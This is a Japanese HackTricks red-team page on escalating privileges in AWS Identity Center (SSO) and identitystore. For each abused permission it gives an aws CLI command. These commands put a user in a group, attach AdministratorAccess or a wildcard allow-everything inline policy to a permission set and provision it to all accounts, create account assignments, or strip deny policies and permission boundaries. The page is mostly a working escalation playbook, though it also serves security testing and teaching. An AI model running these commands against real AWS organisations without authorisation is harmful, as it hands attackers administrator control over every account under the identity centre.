AWS - SSO & identitystore Privesc

ゼロからヒーローまでAWSハッキングを学ぶ htARTE(HackTricks AWS Red Team Expert)

HackTricksをサポートする他の方法:

AWS Identity Center / AWS SSO

AWS Identity Center / AWS SSOの詳細については、以下をチェックしてください:

デフォルトでは、管理アカウントからの権限を持つユーザーのみがIAM Identity Centerにアクセスして制御できます。 他のアカウントのユーザーは、アカウントが委任管理者である場合にのみ許可されます。 詳細についてはドキュメントを確認してください。

パスワードのリセット

このようなケースで特権を昇格させる簡単な方法は、ユーザーのパスワードをリセットする権限を持つことです。残念ながら、ユーザーにパスワードをリセットするためのメールを送信することしかできませんので、ユーザーのメールにアクセスする必要があります。

identitystore:CreateGroupMembership

この権限を持つと、ユーザーをグループに設定して、グループが持つすべての権限を継承させることができます。

aws identitystore create-group-membership --identity-store-id <tore-id> --group-id <group-id> --member-id UserId=<user-id>

sso:PutInlinePolicyToPermissionSet, sso:ProvisionPermissionSet

この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。

# Set an inline policy with admin privileges
aws sso-admin put-inline-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --inline-policy file:///tmp/policy.yaml

# Content of /tmp/policy.yaml
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Statement1",
"Effect": "Allow",
"Action": ["*"],
"Resource": ["*"]
}
]
}

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachManagedPolicyToPermissionSet, sso:ProvisionPermissionSet

この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-managed-policy-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --managed-policy-arn "arn:aws:iam::aws:policy/AdministratorAccess"

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:AttachCustomerManagedPolicyReferenceToPermissionSet, sso:ProvisionPermissionSet

この権限を持つ攻撃者は、自分の管理下にあるユーザーに付与されたPermission Setに追加の権限を付与することができます。

この場合、これらの権限を悪用するには、影響を受けるすべてのアカウント内にあるcustomer managed policyの名前を知っている必要があります

# Set AdministratorAccess policy to the permission set
aws sso-admin attach-customer-managed-policy-reference-to-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --customer-managed-policy-reference <customer-managed-policy-name>

# Update the provisioning so the new policy is created in the account
aws sso-admin provision-permission-set --instance-arn <instance-arn> --permission-set-arn <perm-set-arn> --target-type ALL_PROVISIONED_ACCOUNTS

sso:CreateAccountAssignment

この権限を持つ攻撃者は、自分の管理下にあるユーザーにアカウントに対して権限セットを付与することができます。

aws sso-admin create-account-assignment --instance-arn <instance-arn> --target-id <account_num> --target-type AWS_ACCOUNT --permission-set-arn <permission_set_arn> --principal-type USER --principal-id <principal_id>

ただし、どのようにしてアクセストークンを取得するかはわかりません(TODO)。

sso:DetachManagedPolicyFromPermissionSet

この権限を持つ攻撃者は、指定された権限セットからAWSの管理ポリシーとの関連付けを削除することができます。管理ポリシー(拒否ポリシー)を取り外すことで、より多くの特権を付与することが可能です。

aws sso-admin detach-managed-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN> --managed-policy-arn <ManagedPolicyARN>

sso:DetachCustomerManagedPolicyReferenceFromPermissionSet

この権限を持つ攻撃者は、指定された権限セットから顧客管理ポリシーの関連付けを削除できます。**管理ポリシーをデタッチ(拒否ポリシー)**することで、より多くの特権を付与することが可能です。

aws sso-admin detach-customer-managed-policy-reference-from-permission-set --instance-arn <value> --permission-set-arn <value> --customer-managed-policy-reference <value>

sso:DeleteInlinePolicyFromPermissionSet

この権限を持つ攻撃者は、パーミッションセットからインラインポリシーの権限を削除することができます。インラインポリシー(拒否ポリシー)をデタッチすることで、より多くの特権を付与することが可能です。

aws sso-admin delete-inline-policy-from-permission-set --instance-arn <SSOInstanceARN> --permission-set-arn <PermissionSetARN>

sso:DeletePermissionBoundaryFromPermissionSet

この権限を持つ攻撃者は、パーミッションセットからパーミッション境界を削除できます。パーミッション境界から与えられたパーミッションセットへの制限を取り除くことで、より多くの特権を付与することが可能です。

aws sso-admin   delete-permissions-boundary-from-permission-set --instance-arn <value> --permission-set-arn <value>
htARTE(HackTricks AWS Red Team Expert) を通じて、ゼロからヒーローまでAWSハッキングを学ぶ

HackTricksをサポートする他の方法:

最終更新